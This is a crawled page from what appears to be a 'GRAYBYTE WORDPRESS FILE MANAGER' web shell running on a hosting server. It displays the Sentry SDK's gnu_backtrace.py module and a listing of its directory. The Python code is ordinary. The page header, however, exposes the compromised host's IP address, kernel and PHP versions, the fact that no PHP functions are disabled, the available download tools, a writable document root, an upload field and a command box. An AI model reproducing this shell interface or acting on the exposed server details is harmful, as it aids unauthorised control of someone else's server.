GRAYBYTE WORDPRESS FILE MANAGER8156

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/sentry_sdk/integrations/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/sentry_sdk/integrations//gnu_backtrace.py
import re

from sentry_sdk.hub import Hub
from sentry_sdk.integrations import Integration
from sentry_sdk.scope import add_global_event_processor
from sentry_sdk.utils import capture_internal_exceptions

from sentry_sdk._types import MYPY

if MYPY:
    from typing import Any
    from typing import Dict


MODULE_RE = r"[a-zA-Z0-9/._:\\-]+"
TYPE_RE = r"[a-zA-Z0-9._:<>,-]+"
HEXVAL_RE = r"[A-Fa-f0-9]+"


FRAME_RE = r"""
^(?P<index>\d+)\.\s
(?P<package>{MODULE_RE})\(
  (?P<retval>{TYPE_RE}\ )?
  ((?P<function>{TYPE_RE})
    (?P<args>\(.*\))?
  )?
  ((?P<constoffset>\ const)?\+0x(?P<offset>{HEXVAL_RE}))?
\)\s
\[0x(?P<retaddr>{HEXVAL_RE})\]$
""".format(
    MODULE_RE=MODULE_RE, HEXVAL_RE=HEXVAL_RE, TYPE_RE=TYPE_RE
)

FRAME_RE = re.compile(FRAME_RE, re.MULTILINE | re.VERBOSE)


class GnuBacktraceIntegration(Integration):
    identifier = "gnu_backtrace"

    @staticmethod
    def setup_once():
        # type: () -> None
        @add_global_event_processor
        def process_gnu_backtrace(event, hint):
            # type: (Dict[str, Any], Dict[str, Any]) -> Dict[str, Any]
            with capture_internal_exceptions():
                return _process_gnu_backtrace(event, hint)


def _process_gnu_backtrace(event, hint):
    # type: (Dict[str, Any], Dict[str, Any]) -> Dict[str, Any]
    if Hub.current.get_integration(GnuBacktraceIntegration) is None:
        return event

    exc_info = hint.get("exc_info", None)

    if exc_info is None:
        return event

    exception = event.get("exception", None)

    if exception is None:
        return event

    values = exception.get("values", None)

    if values is None:
        return event

    for exception in values:
        frames = exception.get("stacktrace", {}).get("frames", [])
        if not frames:
            continue

        msg = exception.get("value", None)
        if not msg:
            continue

        additional_frames = []
        new_msg = []

        for line in msg.splitlines():
            match = FRAME_RE.match(line)
            if match:
                additional_frames.append(
                    (
                        int(match.group("index")),
                        {
                            "package": match.group("package") or None,
                            "function": match.group("function") or None,
                            "platform": "native",
                        },
                    )
                )
            else:
                # Put garbage lines back into message, not sure what to do with them.
                new_msg.append(line)

        if additional_frames:
            additional_frames.sort(key=lambda x: -x[0])
            for _, frame in additional_frames:
                frames.append(frame)

            new_msg.append("<stacktrace parsed and removed by GnuBacktraceIntegration>")
            exception["value"] = "\n".join(new_msg)

    return event

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 02 2025 08:36:55
root / root
0755
__pycache__
--
July 02 2025 08:37:29
root / root
0755
django
--
July 02 2025 08:36:55
root / root
0755
spark
--
July 02 2025 08:36:55
root / root
0755
__init__.py
6.356 KB
June 09 2025 11:12:39
root / root
0644
_wsgi_common.py
4.651 KB
June 09 2025 11:12:39
root / root
0644
aiohttp.py
7.773 KB
June 09 2025 11:12:39
root / root
0644
argv.py
0.923 KB
June 09 2025 11:12:39
root / root
0644
asgi.py
8.172 KB
June 09 2025 11:12:39
root / root
0644
atexit.py
1.794 KB
June 09 2025 11:12:39
root / root
0644
aws_lambda.py
12.638 KB
June 09 2025 11:12:39
root / root
0644
beam.py
5.529 KB
June 09 2025 11:12:39
root / root
0644
boto3.py
3.64 KB
June 09 2025 11:12:39
root / root
0644
bottle.py
6.042 KB
June 09 2025 11:12:39
root / root
0644
celery.py
8.905 KB
June 09 2025 11:12:39
root / root
0644
chalice.py
4.466 KB
June 09 2025 11:12:39
root / root
0644
dedupe.py
1.139 KB
June 09 2025 11:12:39
root / root
0644
excepthook.py
2.139 KB
June 09 2025 11:12:39
root / root
0644
executing.py
1.976 KB
June 09 2025 11:12:39
root / root
0644
falcon.py
6.637 KB
June 09 2025 11:12:39
root / root
0644
flask.py
7.254 KB
June 09 2025 11:12:39
root / root
0644
gcp.py
7.209 KB
June 09 2025 11:12:39
root / root
0644
gnu_backtrace.py
2.844 KB
June 09 2025 11:12:39
root / root
0644
logging.py
7.396 KB
June 09 2025 11:12:39
root / root
0644
modules.py
1.36 KB
June 09 2025 11:12:39
root / root
0644
pure_eval.py
4.414 KB
June 09 2025 11:12:39
root / root
0644
pyramid.py
6.906 KB
June 09 2025 11:12:39
root / root
0644
redis.py
3.003 KB
June 09 2025 11:12:39
root / root
0644
rq.py
4.679 KB
June 09 2025 11:12:39
root / root
0644
sanic.py
7.528 KB
June 09 2025 11:12:39
root / root
0644
serverless.py
1.925 KB
June 09 2025 11:12:39
root / root
0644
sqlalchemy.py
2.87 KB
June 09 2025 11:12:39
root / root
0644
stdlib.py
7.176 KB
June 09 2025 11:12:39
root / root
0644
threading.py
2.789 KB
June 09 2025 11:12:39
root / root
0644
tornado.py
6.837 KB
June 09 2025 11:12:39
root / root
0644
trytond.py
1.688 KB
June 09 2025 11:12:39
root / root
0644
wsgi.py
10.131 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF